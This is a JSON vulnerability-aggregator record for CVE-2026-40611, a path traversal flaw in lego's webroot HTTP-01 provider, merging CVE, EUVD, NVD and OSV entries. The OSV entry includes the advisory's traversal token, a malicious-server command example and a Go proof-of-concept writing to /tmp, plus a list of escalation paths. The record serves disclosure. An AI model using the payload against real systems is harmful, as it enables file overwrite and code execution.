{"id":"GO-2026-5593","revision":null,"records":[{"revision":"0fa821a61df9484a9e524f35373d9512","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-40611","aliases":[],"title":"Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider","description":"Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.","state":0,"publishedAt":"2026-04-21T17:58:35.221+00:00","modifiedAt":"2026-07-15T01:00:42.598+00:00","affected":[{"ecosystem":"Vendor product","name":"lego","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-acme\",\n                    \"product\": \"lego\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.34.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-40611","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-40611","identifiers":["CVE-2026-40611"]},"retained":false,"historicalAffected":[]},{"revision":"21556ff0fb5f4e1c88e89c0d671a1822","observedAt":"2026-10-28T05:02:34.775+00:00","statement":{"source":"euvd","id":"EUVD-2026-24219","aliases":["CVE-2026-40611","GHSA-qqx8-2xmm-jrv8"],"title":"Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted …","description":"Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-24219","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 21, 2026, 5:58:35 PM","dateUpdated":"Jul 15, 2026, 1:00:42 AM"},"relatedAdvisories":[{"id":"RHSA-2026:21772","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.","vulnerabilityIds":["CVE-2025-14813","CVE-2025-68121","CVE-2026-0636","CVE-2026-1525","CVE-2026-1526","CVE-2026-1528","CVE-2026-1605","CVE-2026-2229","CVE-2026-2327","CVE-2026-5588","CVE-2026-26996","CVE-2026-27904","CVE-2026-29074","CVE-2026-30827","CVE-2026-31802","CVE-2026-32141","CVE-2026-32280","CVE-2026-32282","CVE-2026-32305","CVE-2026-33252","CVE-2026-33810","CVE-2026-34742","CVE-2026-35051","CVE-2026-39858","CVE-2026-40477","CVE-2026-40478","CVE-2026-40611","CVE-2026-40895","CVE-2026-40912","CVE-2026-40972","CVE-2026-40973","CVE-2026-40975","CVE-2026-41240","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-24219","identifiers":["EUVD-2026-24219","CVE-2026-40611","GHSA-qqx8-2xmm-jrv8"]},"retained":false,"historicalAffected":[]},{"revision":"d3daef2a13a8442c81964c18092538f2","observedAt":"2026-10-27T10:10:07.342+00:00","statement":{"source":"nvd","id":"CVE-2026-40611","aliases":[],"title":"Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted …","description":"Let's Encrypt client and ACME library written in Go (Lego). Prior to 4.34.0, the webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process. This vulnerability is fixed in 4.34.0.","state":0,"publishedAt":"2026-04-21T18:16:52.457+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8","https://access.redhat.com/errata/RHSA-2026:21772","https://access.redhat.com/security/cve/CVE-2026-40611","https://bugzilla.redhat.com/show_bug.cgi?id=2460233","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40611.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40611","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-04-21T18:16:52.457","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-40611","identifiers":["CVE-2026-40611"]},"retained":false,"historicalAffected":[]},{"revision":"17c9bd45b4c44acb96de474e5ffcc2d5","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qqx8-2xmm-jrv8","aliases":["CVE-2026-40611","GO-2026-5593"],"title":"ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider","description":"### Summary\n\nThe webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing `../` sequences, causing lego to write attacker-influenced content to any path writable by the lego process. \n\n### Details\n\nThe `ChallengePath()` function in `challenge/http01/http_challenge.go:26-27` constructs the challenge file path by directly concatenating the ACME token without any validation:\n\n```go\nfunc ChallengePath(token string) string {\n\treturn \"/.well-known/acme-challenge/\" + token\n}\n```\n\nThe webroot provider in `providers/http/webroot/webroot.go:31` then joins this with the configured webroot directory and writes the key authorization content to the resulting path:\n\n```go\nchallengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))\nerr = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)\nerr = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)\n```\n\nRFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet (`[A-Za-z0-9_-]`), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as `../../../../../../tmp/evil`, `filepath.Join()` resolves the `..` components, producing a path outside the webroot directory.\n\nThe same vulnerability exists in the `CleanUp()` function at `providers/http/webroot/webroot.go:48`, which deletes the challenge file using the same unsanitized path:\n\n```go\nerr := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))\n```\n\nThis additionally enables arbitrary file deletion.\n\n### PoC\n\nIn a real attack scenario, the victim uses `--server` to point lego at a malicious ACME server, combined with `--http.webroot`:\n\n```bash\nlego --server https://malicious-acme.example.com \\\n     --http --http.webroot /var/www/html \\\n     --email user@example.com \\\n     --domains example.com \\\n     run\n```\n\nThe malicious server returns a challenge token containing path traversal sequences `../../../../../../tmp/pwned`. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.\n\nThe following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/go-acme/lego/v4/providers/http/webroot\"\n)\n\nfunc main() {\n\twebrootDir, _ := os.MkdirTemp(\"\", \"lego-webroot-*\")\n\tdefer os.RemoveAll(webrootDir)\n\n\tprovider, _ := webroot.NewHTTPProvider(webrootDir)\n\ttoken := \"../../../../../../../../../../tmp/pwned\"\n\tprovider.Present(\"example.com\", token, \"EXPLOITED-BY-PATH-TRAVERSAL\")\n\n\tdata, err := os.ReadFile(\"/tmp/pwned\")\n\tif err == nil {\n\t\tfmt.Println(\"[+] VULNERABILITY CONFIRMED\")\n\t\tfmt.Printf(\"[+] File written outside webroot: /tmp/pwned\\n\")\n\t\tfmt.Printf(\"[+] Content: %s\\n\", data)\n\t}\n}\n```\n\n```bash\ngo build -o exploit ./exploit.go && ./exploit\n```\n\nExpected output:\n\n```\n[+] VULNERABILITY CONFIRMED\n[+] File written outside webroot: /tmp/pwned\n[+] Content: EXPLOITED-BY-PATH-TRAVERSAL\n```\n\n### Impact\n\nThis is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.\n\nA malicious ACME server can:\n\n- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.\n- Destroy data by overwriting configuration files, TLS certificates, or application state.\n- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.\n- Delete arbitrary files via the `CleanUp()` code path using the same unsanitized token.","state":0,"publishedAt":"2026-04-16T21:28:55+00:00","modifiedAt":"2026-09-10T03:51:02.9150792+00:00","affected":[{"ecosystem":"Go","name":"github.com/go-acme/lego/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.34.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/go-acme/lego/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"3.9.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/go-acme/lego","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"2.7.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8","https://nvd.nist.gov/vuln/detail/CVE-2026-40611","https://github.com/go-acme/lego"],"sourceUrl":"https://github.com/advisories/GHSA-qqx8-2xmm-jrv8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qqx8-2xmm-jrv8","identifiers":["GHSA-qqx8-2xmm-jrv8","CVE-2026-40611","GO-2026-5593"]},"retained":false,"historicalAffected":[]},{"revision":"55f98faa9c774e6aaea0ff658b151998","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5593","aliases":["CVE-2026-40611","GHSA-qqx8-2xmm-jrv8"],"title":"ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider in github.com/go-acme/lego","description":"ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider in github.com/go-acme/lego","state":0,"publishedAt":"2026-07-24T18:35:55+00:00","modifiedAt":"2026-07-24T19:00:24.4410142+00:00","affected":[{"ecosystem":"Go","name":"github.com/go-acme/lego/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.34.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5593","license":"OSV · upstream source license applies","key":"osv:GO-2026-5593","identifiers":["GO-2026-5593","CVE-2026-40611","GHSA-qqx8-2xmm-jrv8"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T02:49:08.6617237+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T02:49:08.6617237+00:00","lastSuccessAt":"2026-10-30T02:49:08.8296789+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.8296797+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-a9ed1cfe494f92fddb8cf6003b2df5b151f7456e4d1d2625f76ca8d81f0e234e","complete":true,"records":416814,"lastAttemptAt":"2026-10-30T02:49:08.1159624+00:00","lastSuccessAt":"2026-10-30T02:49:08.0942217+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.1159624+00:00","snapshotPublishedAt":"2026-10-30T02:28:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-78c11a9a83974f69b1b02671c6960ae3","complete":false,"records":13504,"lastAttemptAt":"2026-10-30T03:01:18.2254305+00:00","lastSuccessAt":"2026-10-30T03:01:18.221+00:00","error":"7 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T03:01:18.221+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13242,"expectedIdentifiers":13587,"failedIdentifiers":7},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T02:49:08.6617237+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T02:49:08.6617237+00:00","lastSuccessAt":"2026-10-30T02:49:08.8305166+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.8305167+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c39f89b50d5243318487ad216daf7ffb","complete":true,"records":13527,"lastAttemptAt":"2026-10-30T02:49:10.4405808+00:00","lastSuccessAt":"2026-10-29T22:50:37.74+00:00","error":null,"lastVerifiedAt":"2026-10-29T22:50:37.74+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13587,"expectedIdentifiers":13587,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-9016081e9e88f5929902343d85df87c5c4a1486b10ab07bc6c4f53f98f358871","complete":true,"records":9806,"lastAttemptAt":"2026-10-30T02:49:08.4920525+00:00","lastSuccessAt":"2026-10-29T17:17:25.9359141+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.4920525+00:00","snapshotPublishedAt":"2026-10-29T16:48:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T02:49:08.2775257+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.2775257+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5221f6b645588be0464ab0e16e8adfe42d1ccd8f841048d2bd4d0c1cf79fd6b1","complete":true,"records":3014,"lastAttemptAt":"2026-10-30T02:49:08.5949387+00:00","lastSuccessAt":"2026-10-30T00:54:54.6624163+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.5949387+00:00","snapshotPublishedAt":"2026-10-30T00:48:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ec5b13e78c39945726a720832da7660d2774969f16e2a34f99460c135811abd5","complete":true,"records":230948,"lastAttemptAt":"2026-10-30T02:49:08.3853349+00:00","lastSuccessAt":"2026-10-29T22:50:35.0693267+00:00","error":null,"lastVerifiedAt":"2026-10-30T02:49:08.3853349+00:00","snapshotPublishedAt":"2026-10-29T22:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}